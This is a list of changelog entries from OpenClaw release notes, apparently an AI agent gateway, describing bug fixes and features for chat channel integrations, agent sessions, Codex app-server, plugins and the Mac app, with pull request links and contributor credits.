<li>Agents/image generation: allow distinct <code>image_generate</code> prompts to start separate session-backed background tasks while same-prompt retries still return the active task status. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4469561038" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83614" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83614/hovercard" href="https://github.com/openclaw/openclaw/pull/83614">#83614</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Elarwei001/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Elarwei001">@Elarwei001</a>.</li>
<li>Gateway/WebChat: honor configured <code>channels.webchat.textChunkLimit</code> and <code>chunkMode</code> overrides when chunking WebChat replies. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4471165614" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83713" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83713/hovercard" href="https://github.com/openclaw/openclaw/pull/83713">#83713</a>)</li>
<li>Control UI: stop the chat reading indicator from sticking after an assistant response finishes. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4467410605" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83515" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83515/hovercard" href="https://github.com/openclaw/openclaw/pull/83515">#83515</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/njuboy11/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/njuboy11">@njuboy11</a>.</li>
<li>Skills: reject empty or whitespace-only skill names and descriptions during quick validation. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3992930563" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/27061" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/27061/hovercard" href="https://github.com/openclaw/openclaw/pull/27061">#27061</a>)</li>
<li>Sessions: skip trailing custom transcript entries when checking tail assistant replies so embedded CLI gap-fill does not duplicate canonical assistant output. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4469910900" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83635" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83635/hovercard" href="https://github.com/openclaw/openclaw/pull/83635">#83635</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yaoyi1222/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yaoyi1222">@yaoyi1222</a>.</li>
<li>Memory Wiki: keep <code>wiki_lint</code> tool output path-safe by reporting vault-internal lint reports as relative paths in tool text and details while preserving absolute report paths for CLI/file callers. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4466350048" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83439" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83439/hovercard" href="https://github.com/openclaw/openclaw/pull/83439">#83439</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LLagoon3/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LLagoon3">@LLagoon3</a>.</li>
<li>Telegram: keep verbose tool progress visible without mirroring non-final progress into active session transcripts, preventing embedded provider replies from aborting mid-run. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4469858032" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83631" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83631/hovercard" href="https://github.com/openclaw/openclaw/pull/83631">#83631</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kurplunkin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kurplunkin">@kurplunkin</a>.</li>
<li>Telegram: log successful outbound text and media deliveries with account, chat, message, operation, thread, reply, silent, and chunk metadata while keeping message bodies out of logs. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4464232340" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83196" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83196/hovercard" href="https://github.com/openclaw/openclaw/issues/83196">#83196</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4464712841" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83247" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83247/hovercard" href="https://github.com/openclaw/openclaw/pull/83247">#83247</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jrwrest/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jrwrest">@jrwrest</a>.</li>
<li>Cron: link isolated scheduled task runs to their stable cron session so task status and cleanup can follow the backing agent run. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4469405023" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83606" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83606/hovercard" href="https://github.com/openclaw/openclaw/pull/83606">#83606</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jai/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jai">@jai</a>.</li>
<li>CLI: enforce the documented Node.js 22.19 runtime floor in the source launcher.</li>
<li>Release stability: repair broad-gate regressions in requester-agent completion handoff, QA-Lab mock spawn attribution, Slack monitor test isolation, plugin uninstall peer fixtures, and Node-floor launcher contract coverage.</li>
<li>Agents/replies: persist queued follow-up user messages and assistant error stubs only once across model-fallback retries, preventing repeated provider rejections from corrupted same-role session transcripts. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4465972914" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83404" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83404/hovercard" href="https://github.com/openclaw/openclaw/issues/83404">#83404</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4466078721" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83417" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83417/hovercard" href="https://github.com/openclaw/openclaw/pull/83417">#83417</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yetval/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yetval">@yetval</a>.</li>
<li>Slack: persist delivered inbound message IDs and fail closed when same-channel thread replies lose their thread context, preventing delayed duplicate replies and accidental channel-root posts. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4467465571" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83521" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83521/hovercard" href="https://github.com/openclaw/openclaw/issues/83521">#83521</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shannon0430/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shannon0430">@shannon0430</a>.</li>
<li>Codex app-server: complete OpenClaw dynamic tool diagnostics at the request boundary so successful, failed, timed out, aborted, and blocked tool calls do not leave active tool state behind. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4466827129" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83474" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83474/hovercard" href="https://github.com/openclaw/openclaw/issues/83474">#83474</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rozmiarD/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rozmiarD">@rozmiarD</a>.</li>
<li>Gateway/config: keep config writes from failing on unrelated unresolved auth-profile SecretRefs while preserving live auth-profile runtime snapshots.</li>
<li>Gateway/sessions: clear stored CLI provider resume bindings on non-subagent <code>/reset</code> so the next turn starts a fresh provider-side CLI conversation instead of resuming old context. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4466450765" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83448" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83448/hovercard" href="https://github.com/openclaw/openclaw/pull/83448">#83448</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jasonyliu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jasonyliu">@jasonyliu</a>.</li>
<li>Doctor: preserve legacy whole-agent Claude CLI intent by moving matching Anthropic model selections to model-scoped runtime policy before removing stale runtime pins. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4467068699" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83491" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83491/hovercard" href="https://github.com/openclaw/openclaw/issues/83491">#83491</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/danielcrick/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/danielcrick">@danielcrick</a>.</li>
<li>Discord/OpenAI: keep realtime Discord voice sessions hearing follow-up turns with OpenAI realtime and prebuffer assistant playback to avoid choppy starts. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4417674952" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80505" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/80505/hovercard" href="https://github.com/openclaw/openclaw/pull/80505">#80505</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Solvely-Colin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Solvely-Colin">@Solvely-Colin</a>.</li>
<li>LM Studio: resolve env-template API keys like <code>${LMSTUDIO_API_KEY}</code> through the standard SecretInput path instead of sending the raw template as the bearer token, and preserve header-auth and discovery-key precedence when the template is unset. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4417527708" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80495" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80495/hovercard" href="https://github.com/openclaw/openclaw/issues/80495">#80495</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4418547191" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80568" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/80568/hovercard" href="https://github.com/openclaw/openclaw/pull/80568">#80568</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MonkeyLeeT/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MonkeyLeeT">@MonkeyLeeT</a>.</li>
<li>Discord/subagents: route the initial reply from thread-bound delegated sessions into the bound Discord thread instead of the parent channel. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4464042454" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83170" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83170/hovercard" href="https://github.com/openclaw/openclaw/issues/83170">#83170</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4464046468" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83172" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83172/hovercard" href="https://github.com/openclaw/openclaw/pull/83172">#83172</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100menotu001/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100menotu001">@100menotu001</a>.</li>
<li>Gateway/sessions: rotate failed agent sessions when their transcript file is missing instead of wedging per-channel lanes. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4467000680" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83488" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83488/hovercard" href="https://github.com/openclaw/openclaw/issues/83488">#83488</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4468120214" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83553" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83553/hovercard" href="https://github.com/openclaw/openclaw/pull/83553">#83553</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LLagoon3/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LLagoon3">@LLagoon3</a>.</li>
<li>Media: prevent image metadata probing from invoking external decoder delegates on unrecognized image bytes, and stop fallback chaining after real processing errors.</li>
<li>Media: install Sharp with the root package and fall back to sips, Windows native imaging, ImageMagick, GraphicsMagick, or ffmpeg for image resizing/conversion when Sharp is unavailable. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4465939099" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83401" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83401/hovercard" href="https://github.com/openclaw/openclaw/issues/83401">#83401</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/scotthuang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/scotthuang">@scotthuang</a>.</li>
<li>Telegram: deliver generated media completions back into forum topics by preserving topic IDs across requester-agent handoff. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4468244035" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83556" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83556/hovercard" href="https://github.com/openclaw/openclaw/pull/83556">#83556</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</li>
<li>Gateway: defer update-check startup until after readiness so package update checks no longer block sidecar-ready startup, while preserving update broadcasts and shutdown cleanup. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4467462415" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83520" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83520/hovercard" href="https://github.com/openclaw/openclaw/pull/83520">#83520</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/samzong/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/samzong">@samzong</a>.</li>
<li>Telegram: keep <code>/btw</code> and read-only status commands from aborting active runs, and avoid retaining raw update payloads in timed-out spool tombstones. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4464995305" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83272" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83272/hovercard" href="https://github.com/openclaw/openclaw/issues/83272">#83272</a>.</li>
<li>Agents: log strict-agentic execution contract diagnostics only when the planning-only retry path actually triggers.</li>
<li>Agents: stop embedded session takeover and session write-lock errors from consuming model fallbacks while preserving provider fallback metadata. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4467367566" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83510" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83510/hovercard" href="https://github.com/openclaw/openclaw/issues/83510">#83510</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luyao618/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luyao618">@luyao618</a>.</li>
<li>Agents/video: hide <code>video_generate</code> reference-audio parameters unless a registered video provider supports audio inputs.</li>
<li>Plugins: fall back to npm for official ClawHub updates when artifact downloads are unavailable, including beta-to-default fallback and dry-run version reporting.</li>
<li>Plugins/xAI: echo PKCE challenge fields during OAuth authorization-code token exchange for xAI token-endpoint compatibility. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4467208552" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83499" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83499/hovercard" href="https://github.com/openclaw/openclaw/pull/83499">#83499</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</li>
<li>Codex app-server: hydrate current inbound image attachments before queued runs so Responses-backed agents receive Discord and other channel images as native vision input. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4466691440" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83466" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83466/hovercard" href="https://github.com/openclaw/openclaw/issues/83466">#83466</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iannwu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iannwu">@iannwu</a>.</li>
<li>Codex app-server: keep native code mode available without forcing code-mode-only so OpenClaw dynamic tool turns complete through the app-server tool bridge. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4463653395" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83109" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83109/hovercard" href="https://github.com/openclaw/openclaw/issues/83109">#83109</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/daswass/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/daswass">@daswass</a>.</li>
<li>Release stability: recover stale session diagnostics and Codex OAuth fallback state so stuck runs and reused refresh tokens clear without blocking follow-up work. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4467223870" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83503" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83503/hovercard" href="https://github.com/openclaw/openclaw/pull/83503">#83503</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>.</li>
<li>Messages/TTS: apply TTS directives before message-tool sends reach core, gateway, or plugin delivery so opt-in message-tool rooms and proactive sends attach voice notes instead of leaking raw tags. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4442404677" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/81598" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/81598/hovercard" href="https://github.com/openclaw/openclaw/issues/81598">#81598</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/CG-Intelligence-Agent-Jack/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/CG-Intelligence-Agent-Jack">@CG-Intelligence-Agent-Jack</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/CoronovirusG10/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/CoronovirusG10">@CoronovirusG10</a>.</li>
<li>Messages/Codex: keep Codex direct/source chats on message-tool visible delivery by default while documenting and testing <code>messages.visibleReplies: "automatic"</code> as the old-mode opt-out; channel wildcard model overrides now apply to direct chats before harness delivery defaults.</li>
<li>Memory/QMD: keep archived session transcript hits visible after QMD export while preserving normal <code>.md</code> session ids that only resemble archive names. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4467447669" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83518" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83518/hovercard" href="https://github.com/openclaw/openclaw/pull/83518">#83518</a>; fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4467252934" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83506" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83506/hovercard" href="https://github.com/openclaw/openclaw/issues/83506">#83506</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/tanshanshan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/tanshanshan">@tanshanshan</a>.</li>
<li>Codex app-server: preserve network access for sandboxed Codex code-mode turns when the OpenClaw sandbox allows outbound egress. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4465477650" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83347" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83347/hovercard" href="https://github.com/openclaw/openclaw/issues/83347">#83347</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/YusukeIt0/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/YusukeIt0">@YusukeIt0</a>.</li>
<li>QA-Lab: keep the OTLP smoke decoder independent of removed OpenTelemetry generated-root internals.</li>
<li>Messages: default group/channel visible replies to automatic final delivery again, keeping <code>message_tool</code> opt-in for ambient/shared rooms and tool-reliable models.</li>
<li>CLI/TUI: force standalone <code>/exit</code> runs to terminate after <code>runTui</code> returns so onboarding-launched TUI children do not stay alive invisibly. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4467214589" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83501" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83501/hovercard" href="https://github.com/openclaw/openclaw/pull/83501">#83501</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</li>
<li>Agents/code mode: honor per-agent code-mode config in schema, runtime catalog activation, and model payload filtering. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4465758765" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83388" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83388/hovercard" href="https://github.com/openclaw/openclaw/issues/83388">#83388</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kaspre/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kaspre">@Kaspre</a>.</li>
<li>Agents/code mode: preserve agent, session, run, and channel context in <code>before_tool_call</code> hooks for top-level <code>exec</code>/<code>wait</code> dispatches. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4465758470" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83387" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83387/hovercard" href="https://github.com/openclaw/openclaw/issues/83387">#83387</a>.</li>
<li>QQBot: shorten C2C typing indicators to a 10-second window renewed every 5 seconds, capped to keep a final passive-reply slot available. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4466707249" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83469" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83469/hovercard" href="https://github.com/openclaw/openclaw/pull/83469">#83469</a>)</li>
<li>Replies: keep final payload delivery after live preview updates so channels can finalize or send the completed answer instead of losing preview-only drafts. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4466706226" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83468" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83468/hovercard" href="https://github.com/openclaw/openclaw/pull/83468">#83468</a>)</li>
<li>Discord: deliver final replies in progress-mode preview streams instead of deduplicating the final visible message. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4466374427" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83443" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83443/hovercard" href="https://github.com/openclaw/openclaw/pull/83443">#83443</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/compoodment/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/compoodment">@compoodment</a>.</li>
<li>Providers/Xiaomi: replay MiMo Anthropic-compatible <code>reasoning_content</code> as provider-required thinking blocks even when OpenClaw thinking is disabled, fixing follow-up tool turns for <code>mimo-v2-flash</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4465996157" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83407" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83407/hovercard" href="https://github.com/openclaw/openclaw/issues/83407">#83407</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Xgenious7/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Xgenious7">@Xgenious7</a>.</li>
<li>Agents/exec approvals: forward approval-runtime credentials on agent-owned Gateway approval calls so approved async commands complete through the existing runtime path instead of stalling on unauthenticated follow-up calls. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IWhatsskill/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IWhatsskill">@IWhatsskill</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Patrick-Erichsen/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Patrick-Erichsen">@Patrick-Erichsen</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jesse-merhi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jesse-merhi">@jesse-merhi</a>.</li>
<li>Gateway/skills: preflight remote macOS skill-bin refreshes with a WebSocket connectivity check so stale node sessions skip quickly instead of logging slow <code>system.which</code> timeout warnings.</li>
<li>CLI/config: keep broken discovered plugins that are not referenced by active config from failing <code>openclaw config validate</code>, while preserving fatal errors for explicitly configured plugin entries.</li>
<li>GitHub Copilot: drop unsafe native Responses reasoning replay items with non-replayable IDs before dispatch, preventing affected Copilot sessions from failing with <code>invalid_request_body</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4464490598" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83220" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83220/hovercard" href="https://github.com/openclaw/openclaw/issues/83220">#83220</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/galiniliev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/galiniliev">@galiniliev</a>.</li>
<li>Agents/Codex: fail closed when an explicitly requested Codex harness is not registered instead of silently trying configured model fallbacks. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4465485972" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83349" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83349/hovercard" href="https://github.com/openclaw/openclaw/issues/83349">#83349</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/r2-vibes/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/r2-vibes">@r2-vibes</a>.</li>
<li>QA-Lab: make runtime tool coverage fail on missing required tool exercise instead of treating pass/pass parity envelope drift as missing coverage.</li>
<li>Core/plugins: harden clawpatch-reported edge cases across gateway auth cleanup, Claude session id paths, plugin activation policy, apply-patch hunk handling, diagnostic redaction, and plugin metadata validation.</li>
<li>UI: show reasoning choices as plain labels instead of leaking internal override wording in session and chat pickers.</li>
<li>Mac app: avoid repeating the Configuration heading inside channel quick settings.</li>
<li>Mac app: keep the Settings sidebar always visible and remove the redundant titlebar hide/show control.</li>
<li>Mac app: normalize Settings pane content margins so pages share the same left and right rail.</li>
<li>Mac app: prefer explicit private/Tailscale/LAN Gateway endpoints over SSH tunnels, preserve legacy loopback tunnel configs, persist transport choices, and show captured SSH stderr when tunneling really fails.</li>
<li>Gateway/sessions: keep ACP/acpx and runtime child sessions visible in configured-only session lists when their owner or parent session belongs to a configured agent.</li>
<li>Mac app: keep app-level menu commands and Dashboard failure states reachable when the remote Gateway is disconnected.</li>
<li>Mac app: allow longer Gateway and Context errors to wrap in the menu instead of truncating the useful failure detail.</li>
<li>Mac app: tighten remote Gateway fields in Settings so the Connection pane keeps readable labels and full action button text.</li>
<li>Mac app: keep custom Settings card rows left-aligned and full-width so Discovery and status sections no longer appear centered or detached.</li>
<li>Mac app: align Location permission controls to the same trailing column as the rest of Settings.</li>
<li>Mac app: add Dashboard, Chat, Canvas, and Settings shortcuts to the Dock icon menu.</li>
<li>Mac app: replace the Settings window's native split-view sidebar with an explicit layout so page content keeps its leading gutter when the sidebar is shown or hidden.</li>
